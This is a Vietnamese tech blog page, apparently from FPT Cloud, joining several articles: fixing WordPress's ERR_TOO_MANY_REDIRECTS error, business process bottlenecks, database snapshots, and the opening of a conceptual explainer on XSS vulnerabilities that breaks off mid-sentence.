của bạn. Theo đó chứ đây là những cách thức để có thể khắc phục được lỗi ERR_TOO_MANY_REDIRECTS này hiện nay Xóa toàn bộ dữ liệu cookie  Đối với lỗi ERR_TOO_MANY_REDIRECTS này hoàn toàn có thể khắc phục bằng cách xóa toàn bộ dữ liệu cookie. Theo đó đối với trình duyệt chrome và trình duyệt Firefox sẽ thực hiện theo các bước hướng dẫn cơ bản sau đây:  Với trình duyệt Chrome Người dùng hoàn toàn có thể truy cập trực tiếp vào trong mục quản lý cookie với đường dẫn sau đây chrome://settings/siteData. Khi đó bạn chỉ cần tìm tên trang Web và sau đó xóa bỏ dữ liệu Cookie trình duyệt đã lưu trữ.  [caption id="attachment_22514" align="aligncenter" width="771"] Xóa toàn bộ dữ liệu cookie với trình duyệt Chrome[/caption] Với trình duyệt Firefox Để xóa toàn bộ dữ liệu cookie bạn cần truy cập vào đường dẫn sau đây about:preferences#privacy hay tại mục Tùy chọn (options) chọn vào mục Riêng tư và bảo mật, sau đó tìm tới mục là Cookie và dữ liệu trang. Trực tiếp nhấn vào Quản lý cookie & dữ liệu trang. Sau đó bạn chỉ cần tìm kiếm trang Web và xóa bỏ để dữ liệu cookie đã được lưu trữ.  [caption id="attachment_22518" align="aligncenter" width="771"] Xóa toàn bộ dữ liệu cookie với trình duyệt Firefox[/caption] Xóa cache trên trình duyệt hoặc cache DNS Nếu như website WordPress có cài những plugin tạo cache ví dụ như Swift Performance, WP Rocket, W3 Total Cache, Lite Speed Cache và WP Fastes Cache,... thì cần xóa cache qua chức năng là Delete cache mà những plugin này hiện đang hỗ trợ. Bên cạnh đó thông thường những plugin cache sẽ tạo thư mục cache ngay trên hosting để có thể lưu trữ những dữ liệu này.  Theo đó bạn hoàn toàn có thể xóa chúng thông qua việc truy cập trực tiếp vào trang quản trị hosting, sau đó truy cập vào File Manager, chọn httpdocs, chọn wp-content, chọn cache và xóa tất cả những nội dung hiện đang có ở trong thư mục này.   [caption id="attachment_22522" align="aligncenter" width="771"] Xóa cache trên trình duyệt hoặc cache DNS để khắc phục lỗi[/caption] Sửa lại đường dẫn website WordPress  Nếu như bạn vẫn đang truy cập được trực tiếp vào trang Quản trị Web thì hãy thực hiện theo các bước cơ bản sau đây: vào mục “cài đặt” sau đó chọn vào phần “chung” và tiến hành kiểm tra tại phần “Địa chỉ WordPress”, “Địa chỉ trang web”  Tuy nhiên cần lưu ý rằng nên đặt hai giá trị này lại sao cho giống y hệt với nhau. Ví dụ https://www.tenmiencuaban.com hay https://tenmiencuaban.com. Đối với trường hợp không thể nào truy cập được vào trang quản trị Web thì cần truy cập trực tiếp vào trong trang quản trị hosting, sau đó thêm đoạn code sau vào trong file wp-config.php như sau: define('WP_SITEURL','https://tenmiencuaban.com') define('WP_HOME','https://tenmiencuaban.com') [caption id="attachment_22526" align="aligncenter" width="771"] Sửa lại đường dẫn website WordPress[/caption] Cài đặt lại chứng chỉ SSL / TLS Hiện tại bạn hoàn toàn có thể thực hiện kiểm tra máy chủ SSL qua công cụ là SSL Server Test. Để từ đó có thể phân tích những định cấu hình kết nối thông qua HTTPS đúng cách chưa. Bên cạnh đó bạn cũng hoàn toàn có thể tham khảo theo hướng dẫn về cấu hình SSL / TLS này trên hosting như sau: Cài đặt miễn phí chứng chỉ SSL Let’s Encrypt ngay trên cPanel và Plesk Panel. Cài đặt SSL từ những file như CRT, CA, Private key trên cPanel và Plesk Panel. [caption id="attachment_22530" align="aligncenter" width="771"] Thực hiện kiểm tra máy chủ SSL qua công cụ là SSL Server Test[/caption] >>> Xem thêm: ETL là gì? Cách thức hoạt động và tầm quan trọng của ETL Giải quyết xung đột plugin Để giải quyết xung đột plugin cần thực hiện theo hướng dẫn chi tiết sau đây: truy cập vào đường dẫn httpdocs sau đó chọn wp-content và đổi tên thư mục plugins trở thành plugins_old. Theo đó thao tác này hiện tại sẽ tắt toàn bộ kích hoạt những plugins ngay trên website và sẽ không gây ảnh hưởng tới bất cứ một dữ liệu nào có trên trang Web.  Sau đó bạn cần phải truy cập vào trong trang Web lại để có thể kiểm tra. Nếu như lỗi chuyển hướng biển mất sẽ có 1 plugin đang gây ra lỗi. Ngay sau khi khoanh vùng sự cố là vì plugin gây ra thì bạn cần đổi tên thư mục lại thành plugins để có thể kích hoạt plugin lại. Bạn phải truy cập thẳng vào trong thư mục plugins và lần lượt đổi tên những thư mục plugins để có thể xác định được rõ plugin nào hiện đang gây lỗi ERR_TOO_MANY_REDIRECTS này.  [caption id="attachment_22534" align="aligncenter" width="771"] Giải quyết xung đột plugin để khắc phục lỗi[/caption] Những bài viết liên quan: Cách khắc phục lỗi 504 gateway time-out hiệu quả cực nhanh GDPR là gì? Tầm quan trọng của GDPR trong bảo vệ dữ liệu Joomla là gì? Hướng dẫn cài đặt & sử dụng mã nguồn mở Joomla Drupal là gì? Khám phá nền tảng phát triển web Drupal từ A – Z Như vậy qua bài viết trên có thể thấy được rằng ERR_TOO_MANY_REDIRECTS là một lỗi có rất nhiều những nguyên nhân khác nhau gây ra. Do đó sau mỗi một lần kiểm tra thì bạn nên truy cập lại vào trong trang Web để xác định xem nó đã hoạt động lại bình thường hay chưa. Sau đó hẵn tiếp tục những bước tiếp theo. Hy vọng rằng với những thông tin được FPT Cloud cung cấp qua bài viết trên sẽ giúp bạn khắc phục được lỗi này hiệu quả. 

Bottleneck là gì? Xác định & gỡ bỏ nút thắt cổ chai trong doanh nghiệp

09:48 10/03/2022
Bottleneck - nút thắt cổ chai là vấn đề mà doanh nghiệp phải tìm ra cũng như xử lý tận gốc để có thể hoạt động, tăng trưởng hiệu quả. Tuy nhiên phải tìm như thế nào và tìm ở đâu để có được những kết quả chính xác, nhanh chóng nhất. Để xác định được vấn đề trên cũng như gỡ bỏ nút thắt cổ chai trong doanh nghiệp hãy cùng FPT Cloud tìm hiểu chi tiết qua bài viết sau.  Bottleneck là gì?  Nút cổ chai (bottleneck) là khái niệm xuất phát từ một câu chuyện dốc những viên bi ra ngoài 1 cái chai cổ hẹp. Theo đó một quá trình thực hiện vô cùng lý tưởng đã được vẽ ra. Đường kính của mỗi một viên bi trong chai đang nhỏ hơn so với chiều rộng cổ chai vì vậy sẽ lọt ra ngoài một cách dễ dàng. Miễn sao phần cổ chai này hướng xuống dưới là được.  [caption id="attachment_22400" align="aligncenter" width="771"] Bottleneck là gì?[/caption] Nhưng trên thực tế nó lại không hề đơn giản như vậy. Theo đó một số những viên bi sẽ xuất hiện cùng một lúc ở cổ chai và không dựa vào nguyên tắc lần lượt. Như vậy đây được gọi là sự tắc nghẽn. Theo như định nghĩa cơ bản thì bottleneck là 1 điểm xuất hiện dọc với quy trình nghiệp vụ. Và trong đó thì tổng số lượng công việc yêu cầu đang cao hơn so với mức có thể xử lý được ở thông lượng tối đa. Chính điều này đã khiến cho công việc bị tắc nghẽn, gián đoạn hoặc chậm trễ.  Bottleneck xảy ra khi có quá nhiều những điều cố gắng đi qua 1 con đường tài nguyên bị hạn chế. Mỗi quy trình nghiệp vụ trên thực tế có thể gồm có nhiều hơn 1 nút thắt cổ chai. Đối với quy trình này nút thắt cổ chai cũng có thể là những nút thắt trong quy trình khác. Một nút thắt cổ chai thật không may thông thường chỉ nhận biết được cũng như thừa nhận ngay sau khi nó đã gây nên sự tắc nghẽn một cách đáng kể. Vậy hiện tại yếu tố hình thành nút thắt cổ chai trong các doanh nghiệp là gì?  >>> Xem thêm: Snapshot là gì? Toàn tập kiến thức về Snapshot từ A - Z Yếu tố hình thành nút thắt cổ chai trong các doanh nghiệp Hiện tại đối với tất cả quy trình nghiệp vụ của doanh nghiệp hoàn toàn có thể có nguy cơ tồn tại nút thắt cổ chai. Và thậm chí là phần lớn những doanh nghiệp khi mới bắt đầu xây dựng đã từng gặp phải tình trạng Bottleneck này. Trong quy trình nghiệp vụ của các doanh nghiệp hiện nay đang có hai loại Bottleneck là: Bottleneck ngắn hạn: Theo đó nó được gây ra bởi những nguyên nhân có tính bất ngờ cũng như tạm thời.  Bottleneck dài hạn: Đây chính là cái tắc nghẽn thường xuyên xảy ra và lặp lại trong một khoảng thời gian dài chưa được giải quyết.  [caption id="attachment_22404" align="aligncenter" width="771"] Yếu tố hình thành nút thắt cổ chai trong các doanh nghiệp[/caption] Vậy hiện tại Bottleneck có thể là những thứ gì? Theo đó nó chính là bất cứ những tài nguyên mà doanh nghiệp hiện đang sở hữu hay những tác động từ bên ngoài.  Vì sao cần xác định nút thắt cổ chai? Bottleneck hoàn toàn có thể là bất kỳ một yếu tố tài nguyên nào của doanh nghiệp vì vậy chúng có khả năng sẽ gây hại trên diện rộng và ảnh hưởng đến nhiều yếu tố khác bạn cần phải quan tâm. Theo đó việc phát hiện chúng chính xác và nhanh chóng sẽ rất tốt cho doanh nghiệp.  Những tác hại của Bottleneck trong quy trình nghiệp vụ Nút thắt cổ chai trong quy trình nghiệp vụ sẽ gây ra một số những tác hại cho doanh nghiệp có thể kể đến như: [caption id="attachment_22410" align="aligncenter" width="771"] Nút thắt cổ chai trong quy trình nghiệp vụ sẽ gây ra một số những tác hại cho doanh nghiệp[/caption] Tiêu tốn thêm nhiều chi phí sửa chữa, vận hành, sản xuất, giảm lợi nhuận và doanh thu. Gây vỡ kế hoạch, giảm năng suất lao động. Tiến độ làm việc bị chậm trễ và khiến cho doanh nghiệp phải bỏ mất những cơ hội quý giá. Sản phẩm bị tồn kho và không thể nào tận dụng được lợi thế về cạnh tranh cũng như không đáp ứng được tất cả yêu cầu từ phía khách hàng.  Gây ra nhiều khó khăn trong quá trình ước tính những nguồn lực cần thiết để lập ra được kế hoạch hợp lý.  Đưa cả nhân viên và nhà quản lý vào thế bị động.  Phát sinh ra nhiều mâu thuẫn cũng như xảy ra tình trạng đổ lỗi giữa nội bộ phòng ban và những đồng nghiệp.  Khiến cho nhân viên phải chờ đợi gây nhàm chán, áp lực và không còn nhiều động lực để làm việc. Vì sao cần xác định nút thắt cổ chai? Hầu hết những tiêu chí để có thể đánh giá được sự thành công của quy trình nghiệp vụ hiện nay đều xoay quanh những tiêu chí là thời gian, chất lượng, chi phí cũng như sự đánh đổi giữa 3 tiêu chí này.  [caption id="attachment_22414" align="aligncenter" width="771"] Vì sao cần xác định nút thắt cổ chai?[/caption] Theo đó nếu như đối với bạn mục tiêu quan trọng nhất là chất lượng thì có thể Bottleneck chưa phải là một điểm nóng cần phải ưu tiên. Tuy nhiên nếu như cần tối ưu hóa về mặt chi phí nói chung thì khi đó phải xem xét nhanh chóng về Bottleneck. Vì đây là nguyên nhân chính khiến cho hàng loạt những chi phí có liên quan bị đội lên. Còn với những quy trình gắn chặt cùng thời gian thì sự tồn tại của Bottleneck chắc chắn sẽ không được phép.  Bên cạnh mục đích là loại bỏ đi những ảnh hưởng tiêu cực thì xác định Bottleneck càng sớm sẽ giúp cho xử lý chúng được càng tốt cũng như tối ưu hóa được quy trình nghiệp vụ.  Ngoài mục đích loại bỏ các ảnh hưởng tiêu cực, việc xác định càng sớm càng tốt các nút cổ chai giúp bạn nhanh chóng xử lý chúng và tối ưu được quy trình nghiệp vụ. Không chỉ là sự tăng trưởng doanh thu - cắt giảm chi phí mà đây còn là mấu chốt cho bài toán mở rộng quy mô của doanh nghiệp. Cách xác định Bottleneck theo quy trình nghiệp vụ Như vậy việc xác định nút thắt cổ chai không những là sự tăng trưởng về doanh thu, giúp cắt giảm chi phí mà nó còn là mấu chốt của quá trình mở rộng quy mô doanh nghiệp. Vậy hiện tại cách xác định nút thắt cổ chai theo quy trình nghiệp vụ là như thế nào? [caption id="attachment_22418" align="aligncenter" width="771"] Cách xác định Bottleneck theo quy trình nghiệp vụ hiện nay[/caption] Nhận biết thông qua các dấu hiệu  Đối với nút thắt cổ chai hiện tại có một số những đặc điểm đặc trưng để nhận biết khá rõ ràng và đặc biệt là đối với tình trạng tắc nghẽn được cảnh báo nghiêm trọng hoặc nút thắt cổ chai dài hạn.  Một số nhận dấu hiệu nhận biết: Theo đó với tư cách là nhà quản lý thì không khó để có thể nhận ra được Bottleneck trong quy trình mà bạn đã tham gia và cả quy trình khác. Theo đó một số những ví dụ cụ thể về nút thắt cổ chai đó chính là:  Doanh nghiệp thường xuyên bị phàn nàn bởi đối tác vì hợp đồng gửi đến trễ gây mất nhiều thời gian để chuẩn bị.   Dù đã bổ sung thêm nhân lực tuy nhiên phía doanh nghiệp mỗi ngày chỉ có thể hoàn thiện được từ 2 tới 3 sản phẩm trên 10 khách hàng đến bảo hành. Khách hàng phản hồi là đã chủ động liên hệ đến để tìm hiểu những thông tin tuy nhiên không có bất cứ ai tiếp nhận tư vấn.  Khối lượng những đề xuất chờ xét duyệt bỗng nhiên tăng cao và không kịp trở tay.  Nhân viên team bán hàng phải tăng ca liên tục nhưng team triển khai dịch vụ trong khi đó lại rất rảnh rỗi và có khá nhiều thời gian chết.  Thường xuyên làm lại bảng lương mỗi tháng vì mắc phải một số những sai sót khác nhau.  Nhân viên phàn nàn thường xuyên về sự chậm chạp hay những lỗi phát sinh tại hệ thống phần mềm khiến cho công việc dở dang.  Phải chờ đến 5 ngày thì CEO mới được nhận báo cáo tổng kết quý của toàn bộ những bộ phận trong công ty.  [caption id="attachment_22422" align="aligncenter" width="771"] Các bước để có thể tìm ra được nút thắt cổ chai chính xác và nhanh chóng nhất[/caption] Trong trường hợp nếu như nhận thấy các dấu hiệu này thì bạn cũng nên nghi ngờ về Bottleneck trong quy trình làm việc của doanh nghiệp hiện tại. Việc đo lường và kiểm tra có thể sẽ giúp cho bạn chắc chắn hơn về vấn đề này.  Nhận biết qua thống kê, đo lường [caption id="attachment_22426" align="aligncenter" width="771"] Nhận biết nút thắt cổ chai thông qua thống kê, đo lường[/caption] Sử dụng flowchart Hầu hết những doanh nghiệp hiện tại đều thực hiện theo một quy trình nhất định. Theo đó đối với doanh nghiệp đã vẽ chúng theo dạng flowchart thì nó nhớ lại cách thức đã đưa những bước này vào lưu đồ đến thực tế doanh nghiệp.   Nếu như quá trình thực tiễn chỉ có một ít những nhiệm vụ được luân chuyển một cách suôn sẻ, đồng thời số lượng lớn còn lại vẫn đang xếp hàng thì nút cổ chai đang ở đây. Nếu hàng đợi này phát triển càng nhanh thì khi đó Bottleneck sẽ càng nghiêm trọng.  Theo đó nếu như bạn xây dựng nên sơ đồ quy trình được chi tiết tới đâu thì sẽ xác định được nút thắt cổ chai dễ dàng hơn tới đó.  [caption id="attachment_22430" align="aligncenter" width="771"] Minh họa về sơ đồ quy trình nghiệp vụ trong một doanh nghiệp[/caption] Sử dụng phần mềm quản lý chuyên dụng Nếu như doanh nghiệp đã thực hiện tự động hóa và số hóa toàn bộ quy trình nghiệp vụ thông qua phần mềm quản lý thì quá trình phân tích dữ liệu sẽ diễn ra dễ dàng hơn rất nhiều so với hình thức lưu thông thông thường.  Theo đó bảng Kanban đang là hình thức được rất nhiều những doanh nghiệp ưa chuộng vì có nhiều phần mềm quản lý về quy trình nghiệp vụ. Base Workflow hiện tại phòng đo lường được những con số cụ thể khác có thể kể đến như Lý do thất bại Ai là người phải chịu trách nhiệm chính cho mỗi một job và số job là bao nhiêu Tỷ lệ chuyển đổi sự thành công thông qua mỗi một giai đoạn còn đo lường được các con số rất cụ thể khác: Tỷ lệ trạng thái job SLA cho mỗi một giai đoạn và số job bị quá hạn,… Theo đó nó không những giúp cho nhà quản lý mà cả những nhân viên cũng có thể tự nhận thức sự sai lệch của cá nhân trong quá trình thực hiện. Cụ thể ở giao diện của phần mềm những nhiệm vụ quá hạn chưa kéo qua được công đoạn tiếp theo thì sẽ cảnh báo với màu đỏ.  [caption id="attachment_22438" align="aligncenter" width="771"] Những điểm tắc nghẽn cảnh báo qua màu đỏ cũng như số giờ trễ deadline[/caption] Nhận biết qua kết quả khảo sát Hiện tại những ai tham gia trực tiếp vào quy trình nghiệp vụ là người có được cái nhìn trực quan nhất của Bottleneck.  Theo đó nhận định của họ sẽ luôn có được độ tin cải cao, vì vậy bạn nên tham khảo và tìm hiểu. Nội dung khảo sát sẽ gồm có hai phần là:  Yêu cầu lập danh sách gồm có: những hoạt động tốn thời gian nhất, những hoạt động bị lặp đi lặp lại, những hoạt động cần input là output,... Điều hướng họ đến những dấu hiệu nhận biết họ có thể không để ý đến. Sau khi đã liệt kê những dấu hiệu chính thì bạn cần khéo léo để chuyển chúng qua thành câu hỏi.  >>> Xem thêm: Fake IP Chrome là gì? 10+ phần mềm Fake IP Chrome tốt nhất Cách gỡ bỏ nút thắt cổ chai trong doanh nghiệp Để có thể gỡ bỏ Bottleneck trong doanh nghiệp sẽ có 2 tùy chọn cơ bản sau đây: Giảm đầu vào cho những bước có Bottleneck. Tăng hiệu quả xử lý cho những bước có Bottleneck. [caption id="attachment_22442" align="aligncenter" width="771"] Cách gỡ bỏ nút thắt cổ chai trong doanh nghiệp hiện nay[/caption] Ví dụ đối với quy trình vận tải hàng hóa thì giải pháp rõ ràng nhất đó chính là gia tăng hiệu quả thông qua việc thông báo cho nhà kho. Đối với những tình huống khác để có thể gia tăng được hiệu quả sẽ phụ thuộc nhiều vào bản chất quy trình liên quan. Theo đó dưới đây là một số những ý tưởng chung mà bạn có thể áp dụng:  Tăng năng lực xử lý hoặc đào tạo cho những bước bị tắc nghẽn.  Đảm bảo không có bất kỳ một yếu tố đầu vào nào trong Bottleneck có khuyết tật. Vì đây có thể sẽ là nguyên nhân chính gây ra những nút thắt.  Thay thế hoạt động ở Bottleneck bằng máy móc, công nghệ hoặc những người có đủ năng lực tốt hơn.  Giảm thiểu số lượng đầu vào của Bottleneck. Những bài viết liên quan: Dedicated Server là gì? 5 Biện pháp bảo trì Dedicated Server So sánh Windows Server và Linux Server chi tiết từ A đến Z Shell là gì? Chức năng, Phân biệt giữa Shell và Bash Những ứng dụng cùng ưu nhược điểm khi sử dụng Kafka as a Service Như vậy để có thể gỡ được Bottleneck - nút thắt cổ chai đầu tiên phải xác định vị trí được. Cũng tương tự như vậy cần phải tìm ra được những nút thắt cổ chai trong toàn bộ quy trình nghiệp vụ ngay trước khi muốn thực hiện xử lý để tối ưu hóa được năng suất làm việc. Hy vọng rằng với những thông tin được FPT Cloud cung cấp qua bài viết trên sẽ giúp cho bạn thành công xác định được vị trí của Bottleneck.

Snapshot là gì? Toàn tập kiến thức về Snapshot từ A – Z

17:29 09/03/2022
Snapshot là gì? Ngày nay, Snapshot được xem như một hình thức sao lưu dữ liệu trong ngắn hạn. Tuy vậy, phần đông mọi người vẫn chưa thực sự hiểu rõ Snapshot chính xác là gì. Nếu vẫn chưa thực sự hiểu rõ định nghĩa này là gì, bạn hãy theo dõi ngay bài viết tổng hợp dưới đây của FPT Cloud. Snapshot là gì?  Snapshot có thể xem như cơ sở dữ liệu, nó đơn giản là những bức ảnh chụp nhanh. Chúng ở dạng tĩnh trong cơ sở dữ liệu nguồn SQL Server. Nói cách khác, Snapshot là giao thức mang tính đồng thời tại thời điểm đó được tạo ra. [caption id="attachment_22364" align="aligncenter" width="771"] Tìm hiểu Snapshot là gì?[/caption] Chẳng hạn như khi chụp nhanh một bức ảnh, nó đương nhiên ghi lại chính xác trạng thái sự vật tại thời điểm chụp. Một Snapchat dữ liệu thường lưu tại một cá thể nào đó trên server ứng với cơ sở dữ liệu đã update. Trên cùng một cơ sở dữ liệu nguồn, các Snapshot có khả năng cùng tồn tại. Đặc biệt, một Snapshot vẫn tồn tại ngay cả khi chủ sở hữu loại bỏ chúng hoàn toàn. >>> Xem thêm: Fake IP Chrome là gì? 10+ phần mềm Fake IP Chrome tốt nhất Cách thức hoạt động của Snapshot  Snapshot là gì? Snapshot cơ sở dữ liệu thường tồn tại và hoạt động theo tốc độ data - page. Theo đó, khi một trang dữ liệu nguồn bị sửa đổi lần đầu tiên, lập tức trang gốc cũng lập tức bị sao chép thành kiểu ảnh chụp nhanh. [caption id="attachment_22368" align="aligncenter" width="771"] Hình minh họa tỷ lệ kích thước của Snapshot tại hai trạng thái[/caption] Trong khi đó, Snapshot lại lưu lại trang gốc, song song là các bản ghi dữ liệu tồn tại khi Snapshot được tạo ra. Quy trình này vẫn tiếp diễn tại mỗi trang chỉnh sửa đầu tiên. Còn với người dùng, Snapshot lại gần như giữ nguyên. Bởi mọi tác vụ đọc tại Snapshot cơ sở dữ liệu luôn ở dạng truy cập gốc, cho dù chúng lưu ở đâu. Nếu cần lưu trang gốc đã bị copy, Snapshot cần đến ít nhất một file rải rác. Trước tiên, những file rải rác này đều ở dạng tệp trống, chúng không chứa bất kỳ dữ liệu người dùng nào. Đến khi số lượng trang cập nhật ngày một tăng, kích thước tệp cũng đồng thời tăng lên. Ví dụ như hình minh họa cho biết kết quả của 2 mẫu cập nhật trái ngược với kích thước Snapshot. Tại trạng thái A sẽ cho biết chỉ có khoảng 30% trang gốc được update trong thời gian tồn tại của Snapshot. Trong khi đó tại trạng thái B lại mô tả môi trường với 80% trang gốc update trong suốt thời gian tồn tại.  Lợi ích của Snapshot trong lưu trữ và bảo vệ dữ liệu Snapshot mang đến nhiều lợi ích trong quá trình lưu trữ và bảo vệ dữ liệu. Vậy lợi ích cụ thể là gì? Phần tiếp theo của bài viết xoay quanh chủ đề Snapshot là gì, FPT Cloud sẽ phân tích sâu hơn về phần lợi ích. Quản lý dữ liệu hiệu quả [caption id="attachment_22372" align="aligncenter" width="771"] Snapshot hỗ trợ quản lý dữ liệu hiệu quả[/caption] Snapshot sở hữu bản chất tương tự như một bản ghi lưu lại toàn bộ trong một khoảng thời gian nào đó. Vì thế thế để bảo vệ dữ liệu mỗi an toàn hơn, bạn nên sử dụng Snapshot.  Dễ dàng nhân đôi dữ liệu [caption id="attachment_22376" align="aligncenter" width="771"] Minh họa quy trình nhân đôi dữ liệu[/caption] Trong khi thao tác với Snapshot, metadata cũng đồng thời lưu lại dữ liệu và thực hiện copy, nhân đôi rồi lưu lại trong Snapshot. Quá trình lưu trữ, đôi này không tiêu tốn nhiều không gian đảm bảo an toàn thông tin cho người dùng. Vậy nên khi cần ghi đè lên khối dữ liệu, khối dữ liệu đó cũng đồng thời nhân đôi trong Snapshot. Lưu lại toàn bộ lịch sử dữ liệu khi báo cáo Snapshot đặc biệt cần thiết sau quá trình mở rộng quyền truy cập vào dữ liệu cho nhiều người tồn tại một thời điểm. Chẳng hạn như khi tải một Snapshot cho báo cáo sau này, khi đó bạn cũng có thể khởi chạy nhiều báo cáo cuối kỳ trên Snapshot. [caption id="attachment_22380" align="aligncenter" width="771"] Snapshot lưu lại dữ liệu khi báo cáo[/caption] Trường hợp không gian đĩa còn trống, bạn vẫn duy trì được Snapshot. Đồng thời, dễ dàng thực hiện tra cứu ngược trong cùng thời gian đó. Quản lý hiệu quả hệ thống testing database Mỗi testing database luôn bao gồm nhiều mục, phân thành các lớp dễ khiến người dùng bối rối. Tuy nhiên với Snapshot, hệ thống testing database trong máy tính sẽ được tối ưu hóa. Snapshots có những loại nào? Để hiểu chính xác hơn bản chất Snapshot là gì, bạn hãy tiếp tục tìm hiểu một số loại Snapshot phổ biến nhất. [caption id="attachment_22384" align="aligncenter" width="771"] Snapshot có thể phân loại thành nhiều nhóm[/caption] Copy-on-Write Snapshots Loại Snapshot này trước khi Snapshots được khởi tạo. Tại đây, hệ thống bắt đầu lưu metadata gốc của từng khối và thực hiện quy trình: Tiến hành đọc khối dữ liệu trước khi ghi Tạo hoặc ghi và lưu trong từng Snapshot  Dữ mới được ghi đè lên dữ liệu ban đầu  Ưu điểm: Không tạo bản sao lưu metadata, đẩy nhanh quá trình khởi động. Hạn chế: Tiêu tốn nhiều tài nguyên bởi mỗi Snapshot lại cần đọc ít nhất 1 lần và ghi 2 lần. Redirect-on-Write Snapshots Redirect-on-Write Snapshots thường được ứng dụng để so sánh từng khối bảo vệ bởi Snapshot. Dưới đây là chi tiết quy trình: Ghi lại toàn bộ thay đổi trong khối dữ liệu cần Snapshot bảo vệ. Dịch chuyển đến khối mới. Dữ liệu trước đó vẫn giữ nguyên tại vị trí cũ như một tham chiếu. Ưu điểm: Không tiêu tốn nhiều tài nguyên bởi chỉ cần ghi 1 lần. Hạn chế: Tác động trực tiếp đến bản gốc để tạo bạn bổ sung. Người dùng có thể thực hiện khôi phục dữ liệu ngay cả khi bản gốc không còn. Split-Mirror Snapshots Split-Mirror Snapshots có khả năng tạo bản copy hoàn chỉnh. Trong quá trình này, bạn không cần tạo thêm cho Snapshot cần sửa đổi. Ưu điểm: Có thể khôi phục dữ liệu dễ dàng, copy và lưu trữ cực kỳ đơn giản. Khi dữ liệu gốc, vẫn có cách để người dùng khôi phục. Hạn chế: Vì thực hiện sao lưu toàn bộ dữ liệu nên thời gian xử lý tương đối lâu, tiêu tốn dung lượng. Copy-on-Write with background copy Một bản Snapshot kết hợp giữa tính chất của split-mirror và copy-on-write. Thông qua sự kết hợp này cho phép người dùng tạo Snapshot đơn giản hơn. Continuous data protection (CDP) Continuous data protection (CDP) hiểu đơn giản là tiến trình tạo Snapshot theo bản gốc mỗi khi dữ liệu có sự điều chỉnh. Ưu điểm: Rút ngắn thời gian khôi phục dữ liệu. Hạn chế: Ngốn nhiều tài nguyên, tiêu tốn băng thông. >>> Xem thêm: XSS là gì? Tầm nguy hiểm và cách khắc phục lỗ hổng XSS So sánh Backup và Snapshot chi tiết [caption id="attachment_22388" align="aligncenter" width="771"] So sánh điểm khác biệt giữa Backup và Snapshot[/caption] Để so sánh điểm khác biệt giữa Backup và Snapshot, bạn cần xem xét trên nhiều khía cạnh. Bao gồm khái niệm, thời gian lưu trữ, loại dữ liệu, vị trí lưu và tình trạng dữ liệu. Tiêu chí so sánh  Backup  Snapshot  Khái niệm  Bản sao lưu hoàn chỉnh của dữ liệu gốc  Bản sao lưu điều chỉnh từ dữ liệu gốc Thời gian lưu  Ngắn hạn  Dài hạn  Loại dữ liệu  Dữ liệu trong ổ đĩa, server  Dữ liệu trong phần cài đặt, phần mềm  Vị trí lưu  Server hoặc một nơi có thể khôi phục  Ngay tại vị trí đặt dữ liệu gốc  Tình trạng dữ liệu  Có khả năng thay đổi  Giữ nguyên từ thời điểm ghi Bảng so sánh điểm khác biệt giữa Backup và Snapshot  Những bài viết liên quan: Disclaimer là gì? Hướng dẫn cách viết Disclaimer hoàn chỉnh 503 Service Unavailable là lỗi gì? Nguyên nhân & cách khắc phục CMS là gì? Các phần mềm CMS phổ biến nhất 2022 SSL là gì? Kiến thức cần biết về chứng chỉ số SSL từ A – Z Thông thường, Snapshot là thuật ngữ dùng để chỉ những bức ảnh chụp ngẫu nhiên, vội vàng. Còn nếu xét về mặt cơ sở dữ liệu, Snapshot lại là bản sao lưu điều chỉnh từ dữ liệu gốc. Đến đây, chắc hẳn bạn cũng hiểu thêm về định nghĩa Snapshot là gì, cách thức hoạt động ra sao.

XSS là gì? Tầm nguy hiểm và cách khắc phục lỗ hổng XSS

17:14 09/03/2022
XSS luôn được xem là nỗi đau đầu đối với dân IT hiện nay khi nhắc đến vấn đề lỗ hổng bảo mật. Vậy bạn đã hiểu rõ được cụ thể XSS là gì hay chưa? Làm sao để có thể bảo vệ hệ thống dữ liệu trước sự tấn công của XSS? Để có đáp án cho câu hỏi này bạn hãy cùng FPT Cloud để tìm đáp án cụ thể. Lỗ hổng XSS là gì? XSS là gì? Thực tế đây là từ được viết tắt từ cụm tiếng Anh Cross Site Scripting. Bản chất đây là một trong các loại tấn công bảo mật phổ biến và thường xuyên xảy ra nhất ở hệ thống web mà hầu hết các tester có kinh nghiệm đều biết đến.  [caption id="attachment_22248" align="aligncenter" width="771"] Tìm hiểu lỗ hổng XSS là gì[/caption] XSS được đánh giá là một trong những loại tấn công bảo mật khá nguy hiểm đối với các ứng dụng web. Thậm chí nó còn được xem là có thể gây ra những hậu quả cực kỳ nghiêm trọng đối với hệ thống dữ liệu thông tin.  Hiểu một cách đơn giản hơn thì XSS là một đoạn mã độc mà Hacker chèn vào hệ thống. Cách thức  mà Hacker sử dụng là thông qua các đoạn Script và thực thi ăn cắp thông tin ở phía Client. Trong đó hầu hết các cuộc tấn công được sử dụng để vượt qua các truy cập, mạo danh người dùng để lấy cắp thông tin. Mục đích chính của quá trình tấn công chính là đánh cắp dữ liệu nhận dạng của người dùng. Bao gồm như Cookies, Session Tokens cùng các thông tin liên quan khác. Ở hầu hết các trường hợp tấn công này chủ yếu được sử dụng để ăn cắp Cookie của người khác. Mà như các bạn cũng biết Cookies giúp cho người dùng đăng nhập tự động. Do đó nếu như cookies bị đánh cắp đồng nghĩa với việc các hacker cũng có thể đăng nhập bằng thông tin nhận dạng khác vào hệ thống dư liệu. Chính vì thế đây được xem là cuộc tấn công nguy hiểm nhất ở những lỗ hổng hệ thống hiện nay. Các cuộc tấn công XSS diễn ra như thế nào? Tấn công XSS hiện nay đang được thực hiện ở phía Client. Kiểu tấn công này hoàn toàn có thể thực hiện với hầu hết các ngôn ngữ lập trình khác. Thế nhưng thường xuyên xảy ra nhất trong các cuộc tấn công vẫn là Javascript và HTML.Vậy cuộc tấn công diễn ra như thế nào? [caption id="attachment_22252" align="aligncenter" width="771"] Tìm hiểu cuộc tấn công XSS[/caption] Diễn biến cuộc tấn công Nhìn chung cách tấn công này thực tế có thể thực hiện thông qua nhiều cách khác nhau. Trong đó chủ yếu phụ thuộc vào các loại tấn công XSS. Những mã độc có thể phản chiếu ở các trình duyệt hệ thống hoặc là lưu trữ trong cơ sở dữ liệu. Mã đọc này sẽ  được vận hành một khi người dùng gọi chức năng thích hợp.  Nguyên nhân chính của tấn công này là xác thực đầu vào dữ liệu người dùng không phù hợp. Dữ liệu độc hại ở đầu vào có thể xâm lấn vào dữ liệu đầu ra. Mã độc có thể nhập một Script sau đó chèn vào mã nguồn website. Khi đó, trình duyệt của người dùng sẽ khó để biết mã thực thi có độc hay không. Vậy nên mã độc hại trong cuộc tấn công 